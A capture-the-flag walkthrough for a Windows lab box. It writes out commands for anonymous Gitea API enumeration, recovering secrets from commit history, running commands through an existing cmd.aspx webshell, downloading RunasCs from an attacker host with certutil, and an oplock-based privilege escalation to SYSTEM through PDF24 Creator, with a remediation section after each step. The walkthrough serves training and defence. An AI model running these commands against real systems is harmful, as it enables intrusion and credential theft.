← all walkthroughs

Lock

Windows· Easy· Privilege Escalation
owned
2026-07-07
time to own
19m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Lock runs two web services, and the one on 3000 is a Gitea instance that answers its API to anyone. A public repository's commit history carries what its working tree no longer does: an API token, and a domain account's password in plain text. Removing a secret in a later commit does not remove it from the repository.

The IIS site on 80 already has a webshell on it — cmd.aspx, unauthenticated, taking a command in a query parameter — so the first execution costs nothing and arrives as a service account. RunasCs turns the leaked credential into a session as the domain user it belongs to, and the user flag with it. Root is a user-interface chain rather than an exploit.

An opportunistic lock on the log file PDF24's installer writes stalls that SYSTEM process with its window still on the desktop; from an RDP session, the window's own system menu leads to a Properties dialog, a link, a browser, and a file dialog — and a file dialog opened by a SYSTEM process will open cmd.exe for you.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Some commands also carry a value in angle brackets — <the-shas-from-above> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning and service banner fingerprinting (T1046)
Fingerprinted all exposed services and confirmed Windows Server 2022
An automated scan confirmed four externally accessible services: IIS 10.0 on HTTP (port 80), SMB file sharing (port 445), a Gitea code-hosting server built on Go (port 3000), and Remote Desktop (port 3389). SMB negotiation returned the hostname LOCK, domain Lock, and Windows Server 2022 Build 20348, grounding all subsequent steps in confirmed targets and technologies.
Nxc smb $TARGET returned 'Windows Server 2022 Build 20348 x64 (name:LOCK) (domain:Lock)'; curl -I on :80 returned Server: Microsoft-IIS/10.0; the :3000 HTTP body confirmed a Gitea instance.
Exact commands 3
shell

Fingerprint SMB — returns OS version, hostname, and domain.

$ nxc smb $TARGET
shell

Confirm IIS version from the Server response header.

$ curl -I http://$TARGET/
shell

Identify the Gitea application on port 3000.

$ curl -s http://$TARGET:3000/ | grep -i gitea
2EnumerationUnauthenticated Gitea REST API user and repository enumeration (T1592.002)
Enumerated Gitea users and public repositories without credentials
Gitea's unauthenticated REST API returned the full list of registered local users and all public repository metadata. This identified the account ellen.freeman and two repositories she owned: dev-scripts (a public script collection) and website (the repository that backs the live IIS site). No login was required for either query.
GET /api/v1/users/search returned login: 'ellen.freeman'; GET /api/v1/repos/search returned repos dev-scripts and website.
Exact commands 3
shell

Enumerate all registered Gitea usernames without authentication.

$ curl -s "http://$TARGET:3000/api/v1/users/search?limit=50" | python3 -m json.tool
shell

List all public repositories — reveals dev-scripts and website.

$ curl -s "http://$TARGET:3000/api/v1/repos/search?limit=50" | python3 -m json.tool
shell

Browse the public repository explorer as an anonymous user.

$ curl -s http://$TARGET:3000/explore/repos
FixRequire authentication for all Gitea pages and API endpointsMedium
WeaknessGitea's REST API endpoints /api/v1/users/search and /api/v1/repos/search returned the full list of registered usernames and repository names to completely unauthenticated HTTP requests. This gave an unauthorised user valid account names and repository targets at no cost before a single credential had been tested.
FixIn gitea/conf/app.ini set REQUIRE_SIGNIN_VIEW = true under the [service] section; this forces authentication for all web views and API calls. Also set DISABLE_REGISTRATION = true if self-registration is not needed. Restart the Gitea service after the change and verify that anonymous API calls return 401.
3Credential DiscoveryCredentials exposed in version-control history (T1552.001)
Read a Gitea token and a domain password out of a public repository's history
Dev-scripts is public, and its history is public with it. Git keeps every version of every file, so a secret committed once and removed in the next commit is still in the repository — deleting it from the working tree changes nothing about what a clone contains. repos.py carries two of them: a Gitea API token, and a domain account's password in plain text. The API serves the history without a login, so neither needs a clone to reach.
The unauthenticated Gitea API returned the commit history of ellen.freeman/dev-scripts, and an earlier revision of repos.py contained a Gitea API token and the plaintext password for the domain account Gale.Dekarios.
Exact commands 3
shell

What the instance will show an anonymous caller. One repository is enough.

$ curl -sS "http://$TARGET:3000/api/v1/repos/search?private=false" | python3 -m json.tool | grep -E 'full_name|private'
shell

Every commit, over the same anonymous API. The interesting one is rarely the latest.

$ curl -sS "http://$TARGET:3000/api/v1/repos/ellen.freeman/dev-scripts/commits?limit=50" | grep -oE '"sha": "[0-9a-f]+"'
shell

The file as it was at each revision. A secret removed in a later commit is still in an earlier one.

$ for sha in <the-shas-from-above>; do curl -sS "http://$TARGET:3000/api/v1/repos/ellen.freeman/dev-scripts/raw/$sha/repos.py"; done | grep -iE 'token|password|=\s*.[A-Za-z0-9]{16,}'
FixRevoke the exposed Gitea token and enforce secret scanning on all future commitsCritical
WeaknessA live Gitea personal access token was committed to a public repository and remained valid indefinitely — accessible to anyone who cloned or browsed the repo's history even after the line of code was removed in a later commit. Rotating the token in code without revoking it in Gitea leaves the secret exploitable.
FixImmediately revoke the token in Gitea (User Settings → Applications → Delete/Revoke). Rewrite git history to remove the credential from every commit using git filter-repo or BFG Repo Cleaner, then force-push the cleaned history. Prevent recurrence by adding a Gitea Actions workflow or pre-receive hook that runs a secret scanner (gitleaks, trufflehog, or git-secrets) and rejects any push containing credential patterns before it reaches the server.
4FootholdExploit a public-facing application (T1190)
Found an ASP.NET webshell already sitting on the IIS site
The IIS site carries a file it should not: cmd.aspx, which takes a command in a query parameter and runs it. It needs no authentication, and it was there before I arrived — somebody else's, or somebody's forgotten test. That makes the first execution free, and it comes as the application pool identity, which is a service account with no interesting rights. What it is worth is a place to run the credentials already recovered.
A GET to /cmd.aspx with a command in the x parameter returned command output as the IIS application-pool identity, with no authentication.
Exact commands 2
shell

It answers. A file like this on a production site is a finding before it is a foothold.

$ curl -sS -o /dev/null -w '%{http_code}\n' "http://$TARGET/cmd.aspx"
shell

The app-pool identity. Not privileged, and not the point — the point is that it runs anything.

$ curl -sS --get "http://$TARGET/cmd.aspx" --data-urlencode 'x=whoami'
FixDo not leave a command webshell on a production siteCritical
WeaknessThe IIS site served /cmd.aspx, which takes a command in a query parameter and runs it as the application-pool identity, with no authentication of any kind. Whatever it was for, it is remote code execution offered to the internet.
FixRemove it, and audit the web root against what the deployment pipeline is supposed to have put there. Serve the site from a directory no interactive account can write to, and alert on any executable content appearing in it.
5Credential HarvestingValid accounts: domain accounts (T1078.002)
Ran commands as Gale.Dekarios with the password from the repository
The webshell runs as a service account; the password from repos.py belongs to a domain user. RunasCs starts a process as another user from a non-interactive context, which is what a webshell is — it creates the logon session the shell does not have, and returns the output over a socket. The credential was never cracked or sprayed. It was committed to a public repository and left there.
RunasCs, staged through the webshell, executed commands as lock\gale.dekarios using the password recovered from the repository history, and the user flag was read from that account's desktop.
Exact commands 3
shell

Staged where the app-pool identity can write. Serve it from a directory of mine first.

$ curl -sS --get "http://$TARGET/cmd.aspx" --data-urlencode "x=certutil -urlcache -split -f http://$ATTACKER_IP:8000/RunasCs.exe C:\Windows\Temp\RunasCs.exe"
shell

A logon session the webshell could not create for itself. Expect lock\gale.dekarios.

$ curl -sS --get "http://$TARGET/cmd.aspx" --data-urlencode 'x=C:\Windows\Temp\RunasCs.exe Gale.Dekarios <the-password-from-repos.py> "cmd /c whoami"'
shell

-> <user.txt>

$ curl -sS --get "http://$TARGET/cmd.aspx" --data-urlencode 'x=C:\Windows\Temp\RunasCs.exe Gale.Dekarios <the-password-from-repos.py> "cmd /c type C:\Users\gale.dekarios\Desktop\user.txt"'
6Privilege EscalationAbuse elevation control mechanism through a privileged UI (T1548)
Stalled a SYSTEM installer with an oplock, then walked out of its own window
PDF24 Creator's installer runs as SYSTEM and writes a log at a fixed path. An opportunistic lock on that file stops the write mid-operation and leaves the SYSTEM process sitting there with a window on the desktop — which is the part that matters, because a window belongs to whoever owns the process behind it. From an RDP session as the domain user, that stalled window still has a system menu, and its Properties dialog carries a link. Following the link opens a browser as SYSTEM; a browser has a file dialog; a file dialog will open anything you type into it, including C:\Windows\System32\cmd.exe. The chain never writes a file or runs an exploit — every step is a feature, used by a process running as SYSTEM on behalf of a user who is not.
SetOpLock against the PDF24 installer log stalled the SYSTEM-owned installer; from an RDP session as Gale.Dekarios, that process's window was taken through its system menu into a file dialog, which launched cmd.exe as NT AUTHORITY\SYSTEM, and the root flag was read there.
Exact commands 6
shell

The rest of this step is a desktop, not a shell. That is the technique.

$ xfreerdp /v:$TARGET /u:Gale.Dekarios /p:<the-password-from-repos.py> /dynamic-resolution
shell

In the RDP session. The lock stalls the installer's write and leaves its SYSTEM window on screen.

$ C:\Windows\Temp\SetOpLock.exe C:\Program Files\PDF24\faxPrnInst.log r
shell

The installer starts as SYSTEM, reaches the locked log, and stops there.

$ <trigger the PDF24 printer install from the application's own menu>
shell

The dialog is the SYSTEM process's own. Everything it opens inherits that.

$ <in the stalled window: system menu -> Properties -> the link -> browser -> address bar>
shell

Typed into the browser's file dialog. What opens is a console running as SYSTEM.

$ file:///C:/Windows/System32/cmd.exe
shell

In that console -> <root.txt>

$ whoami && type C:\Users\Administrator\Desktop\root.txt
NT AUTHORITY\SYSTEM
FixPatch PDF24 Creator to close CVE-2023-49147 and remove the installer from user-reachable pathsHigh
WeaknessPDF24 Creator 11.15.1 contains a local privilege escalation: the MSI repair operation (msiexec /fa) runs with SYSTEM privileges and writes to a log file that an unprivileged user can intercept via an oplock/symlink race, redirecting the SYSTEM-level write to any arbitrary file on the system and enabling full SYSTEM code execution from a standard user account.
FixUpgrade PDF24 Creator to the version that addresses CVE-2023-49147 (confirm the exact patched release in the vendor advisory at pdf24.org). As immediate interim steps: delete the installer from C:\_install\ so that unprivileged users cannot trigger a repair; apply a Windows Defender Application Control (WDAC) or AppLocker rule that prevents non-administrators from invoking msiexec /fa; and audit all other MSI installers stored in user-accessible directories for the same class of exposure.

Exposed services

80/tcp
445/tcp
3000/tcp
3389/tcp